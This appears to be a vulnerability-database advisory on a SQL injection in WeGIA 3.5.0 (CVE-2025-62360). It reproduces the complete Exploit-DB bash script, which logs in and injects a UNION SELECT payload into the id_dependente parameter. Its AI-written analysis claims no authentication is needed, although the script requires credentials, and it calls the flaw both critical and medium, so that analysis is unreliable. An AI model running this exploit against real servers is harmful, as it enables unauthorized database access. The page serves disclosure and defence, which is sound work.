WeGIA 3.5.0 - SQL Injection
WeGIA version 3. 5. 0 is vulnerable to an SQL Injection attack, allowing attackers to manipulate backend database queries. This vulnerability can lead to unauthorized data access, data modification, or database compromise. Exploit code is publicly available, increasing the risk of exploitation. No patch or fix has been officially released yet. The vulnerability affects web applications using WeGIA 3. 5. 0, potentially exposing sensitive information. Exploitation does not require authentication but may require user interaction depending on the attack vector.
AI Analysis
Technical Summary
The WeGIA 3.5.0 software contains a critical SQL Injection vulnerability that allows attackers to inject malicious SQL code into database queries executed by the application. SQL Injection is a common web application vulnerability that arises when user-supplied input is improperly sanitized before being included in SQL statements. This flaw can enable attackers to bypass authentication, retrieve sensitive data such as user credentials or personal information, modify or delete database records, and potentially execute administrative operations on the database server. The exploit code for this vulnerability is publicly available on Exploit-DB (ID 52483), which increases the likelihood of exploitation by malicious actors. Although no official patches or updates have been released at the time of this report, the presence of exploit code means attackers can readily target vulnerable installations. The vulnerability affects WeGIA 3.5.0 specifically, and while no other versions are explicitly listed, it is prudent to assume similar versions may be at risk. The attack vector is web-based, targeting the application's input fields or parameters that interact with the database. Exploitation typically does not require prior authentication, making it accessible to remote attackers. The lack of authentication requirement combined with the availability of exploit code elevates the threat level. However, the overall severity is medium, reflecting the balance between potential impact and the need for specific conditions or knowledge to exploit effectively. Organizations using WeGIA 3.5.0 should urgently assess their exposure and implement mitigations to prevent data compromise and maintain application integrity.
Potential Impact
The SQL Injection vulnerability in WeGIA 3.5.0 poses significant risks to organizations, including unauthorized access to sensitive data such as user credentials, financial information, or proprietary business data. Attackers could manipulate or delete critical database records, leading to data integrity issues and operational disruption. In worst-case scenarios, attackers might escalate privileges within the database or underlying system, potentially compromising the entire infrastructure. The availability of public exploit code lowers the barrier for attackers, increasing the likelihood of widespread exploitation. Organizations relying on WeGIA 3.5.0 for web applications may face data breaches, regulatory penalties, reputational damage, and financial losses. The vulnerability could also be leveraged as a foothold for further attacks within corporate networks. Given the web-based nature of the vulnerability, any internet-facing WeGIA 3.5.0 deployment is at risk, emphasizing the need for immediate attention.
Mitigation Recommendations
1. Immediately audit all WeGIA 3.5.0 deployments to identify vulnerable instances. 2. Implement input validation and parameterized queries or prepared statements in the application code to prevent SQL Injection. 3. Employ web application firewalls (WAFs) with rules specifically designed to detect and block SQL Injection attempts targeting WeGIA. 4. Monitor application logs for unusual database query patterns or error messages indicative of injection attempts. 5. Restrict database user privileges to the minimum necessary to limit the impact of a successful injection. 6. If possible, isolate the database server from direct internet access and restrict access to trusted application servers only. 7. Stay alert for official patches or updates from WeGIA developers and apply them promptly once available. 8. Conduct regular security assessments and penetration testing focused on injection vulnerabilities. 9. Educate developers and administrators about secure coding practices and the risks of SQL Injection. 10. Consider deploying runtime application self-protection (RASP) solutions that can detect and block injection attacks in real-time.
Affected Countries
United States, Germany, United Kingdom, France, India, Brazil, Australia, Canada, Japan, South Korea
Indicators of Compromise
- exploit-code: # Exploit Title: WeGIA 3.5.0 - SQL Injection # Date: 2025-10-14 # Exploit Author: Onur Demir (OnurDemir-Dev) # Vendor Homepage: https://www.wegia.org # Software Link: https://github.com/LabRedesCefetRJ/WeGIA/ # Version: <=3.5.0 # Tested on: Local Linux (localhost/127.0.0.1) # CVE : CVE-2025-62360 # Advisory / Reference: https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwvv-q9gh-gwxm # Notes: Run this script ONLY on a local/test instance you own or are authorized to test. # ============================================================ if [ -z "$4" ]; then # Usage prompt if required arguments are missing echo "Usage: $0 <target-url> <user> <password> <payload>" echo "Example: $0 http://127.0.0.1/WeGIA/ \"admin\" \"wegia\" \"version()\"" exit 1 fi url="$1" user="$2" pass="$3" payload="$4" # Check if URL format is valid (basic regex) # This is a basic sanity check for the URL string format. if ! [[ "$url" =~ ^http?://[a-zA-Z0-9._-]+ ]]; then echo "⚠️ Invalid URL format: $url" exit 1 fi # Perform login request (multipart/form) # -s silent, -w "%{http_code}" will append HTTP code to response # -D - prints response headers to stdout, combined with body in login_response login_response=$(curl -s -w "%{http_code}" "$url/html/login.php" \ -D - \ -X POST \ -F "cpf=${user}"\ -F "pwd=${pass}") # Extract last 3 chars as HTTP status code from the combined response login_status_code="${login_response: -3}" # If login did not return a 302 redirect, handle error cases if [ "$login_status_code" -ne 302 ]; then # If curl couldn't connect, curl may return 0 or empty status code if [ "$login_status_code" -eq 0 ] || [ -z "$login_status_code" ]; then echo "❌ Unable to reach URL: $url" exit 1 fi # Otherwise report unexpected login status echo "Error: Received HTTP status code from login: $login_status_code" exit 1 fi # Extract the Location header from the login response headers # Using awk to find the first Location header (case-insensitive) login_location=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Location:/{print substr($0, index($0,$2)); exit}' | tr -d '\r') # Check username and password correctness using Location header content # If the Location does not include home.php, consider login failed. if [[ "$login_location" != *"home.php"* ]]; then # If Location contains "erro" assume wrong credentials; otherwise unknown error if [[ "$login_location" == *"erro"* ]]; then echo "Error: Wrong username or password!" else echo "Error: Unknown Error!" fi exit 1 fi # Extract Set-Cookie header (first cookie) and keep only "name=value" # tr -d '\r' removes possible CR characters set_cookie=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Set-Cookie:/{print substr($0, index($0,$2)); exit}' | tr -d '\r') set_cookie=$(echo "$set_cookie" | cut -d';' -f1) #Exploit Vulnarbility # (The following performs the SQL injection request using the cookie obtained above) # The payload variable is used verbatim in the id_dependente parameter. # Ensure payload is provided safely in the script invocation and that you are authorized to test. # Execute the curl command and capture the output and status code response=$(curl -s -w "%{http_code}" "$url/html/funcionario/dependente_documento.php" -d "id_dependente=1 UNION+SELECT 'a','b',$payload;#" -b "$set_cookie;" -H "Content-Type: application/x-www-form-urlencoded") # Extract the HTTP status code (last 3 characters) status_code="${response: -3}" # Extract the body (everything except the last 3 characters) body="${response:0:-3}" # If the exploit request returned HTTP 200, try to extract id_doc if [ "$status_code" -eq 200 ]; then # Prefer a robust JSON extractor if available; this line uses grep -Po to capture the id_doc value including quotes. # Note: This grep returns the quoted string (e.g. "11.8.3-MariaDB-1+b1 from Debian"). clear_response=$(echo "$body" | grep -Po '"id_doc": *\K"[^"]*"') # Print the extracted value (or empty if not found) echo "$clear_response" else # Non-200 status handling echo "Error: Received HTTP status code $status_code" fi
WeGIA 3.5.0 - SQL Injection
Description
WeGIA version 3. 5. 0 is vulnerable to an SQL Injection attack, allowing attackers to manipulate backend database queries. This vulnerability can lead to unauthorized data access, data modification, or database compromise. Exploit code is publicly available, increasing the risk of exploitation. No patch or fix has been officially released yet. The vulnerability affects web applications using WeGIA 3. 5. 0, potentially exposing sensitive information. Exploitation does not require authentication but may require user interaction depending on the attack vector.
AI-Powered Analysis
Technical Analysis
The WeGIA 3.5.0 software contains a critical SQL Injection vulnerability that allows attackers to inject malicious SQL code into database queries executed by the application. SQL Injection is a common web application vulnerability that arises when user-supplied input is improperly sanitized before being included in SQL statements. This flaw can enable attackers to bypass authentication, retrieve sensitive data such as user credentials or personal information, modify or delete database records, and potentially execute administrative operations on the database server. The exploit code for this vulnerability is publicly available on Exploit-DB (ID 52483), which increases the likelihood of exploitation by malicious actors. Although no official patches or updates have been released at the time of this report, the presence of exploit code means attackers can readily target vulnerable installations. The vulnerability affects WeGIA 3.5.0 specifically, and while no other versions are explicitly listed, it is prudent to assume similar versions may be at risk. The attack vector is web-based, targeting the application's input fields or parameters that interact with the database. Exploitation typically does not require prior authentication, making it accessible to remote attackers. The lack of authentication requirement combined with the availability of exploit code elevates the threat level. However, the overall severity is medium, reflecting the balance between potential impact and the need for specific conditions or knowledge to exploit effectively. Organizations using WeGIA 3.5.0 should urgently assess their exposure and implement mitigations to prevent data compromise and maintain application integrity.
Potential Impact
The SQL Injection vulnerability in WeGIA 3.5.0 poses significant risks to organizations, including unauthorized access to sensitive data such as user credentials, financial information, or proprietary business data. Attackers could manipulate or delete critical database records, leading to data integrity issues and operational disruption. In worst-case scenarios, attackers might escalate privileges within the database or underlying system, potentially compromising the entire infrastructure. The availability of public exploit code lowers the barrier for attackers, increasing the likelihood of widespread exploitation. Organizations relying on WeGIA 3.5.0 for web applications may face data breaches, regulatory penalties, reputational damage, and financial losses. The vulnerability could also be leveraged as a foothold for further attacks within corporate networks. Given the web-based nature of the vulnerability, any internet-facing WeGIA 3.5.0 deployment is at risk, emphasizing the need for immediate attention.
Mitigation Recommendations
1. Immediately audit all WeGIA 3.5.0 deployments to identify vulnerable instances. 2. Implement input validation and parameterized queries or prepared statements in the application code to prevent SQL Injection. 3. Employ web application firewalls (WAFs) with rules specifically designed to detect and block SQL Injection attempts targeting WeGIA. 4. Monitor application logs for unusual database query patterns or error messages indicative of injection attempts. 5. Restrict database user privileges to the minimum necessary to limit the impact of a successful injection. 6. If possible, isolate the database server from direct internet access and restrict access to trusted application servers only. 7. Stay alert for official patches or updates from WeGIA developers and apply them promptly once available. 8. Conduct regular security assessments and penetration testing focused on injection vulnerabilities. 9. Educate developers and administrators about secure coding practices and the risks of SQL Injection. 10. Consider deploying runtime application self-protection (RASP) solutions that can detect and block injection attacks in real-time.
Technical Details
- Edb Id
- 52483
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for WeGIA 3.5.0 - SQL Injection
# Exploit Title: WeGIA 3.5.0 - SQL Injection # Date: 2025-10-14 # Exploit Author: Onur Demir (OnurDemir-Dev) # Vendor Homepage: https://www.wegia.org # Software Link: https://github.com/LabRedesCefetRJ/WeGIA/ # Version: <=3.5.0 # Tested on: Local Linux (localhost/127.0.0.1) # CVE : CVE-2025-62360 # Advisory / Reference: https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwvv-q9gh-gwxm # Notes: Run this script ONLY on a local/test instance you own or are authorized to test. # =====... (3633 more characters)
Threat ID: 69a792c9d1a09e29cbc1c314
Added to database: 3/4/2026, 2:02:49 AM
Last enriched: 3/4/2026, 2:03:47 AM
Last updated: 3/4/2026, 7:51:18 AM
Views: 7
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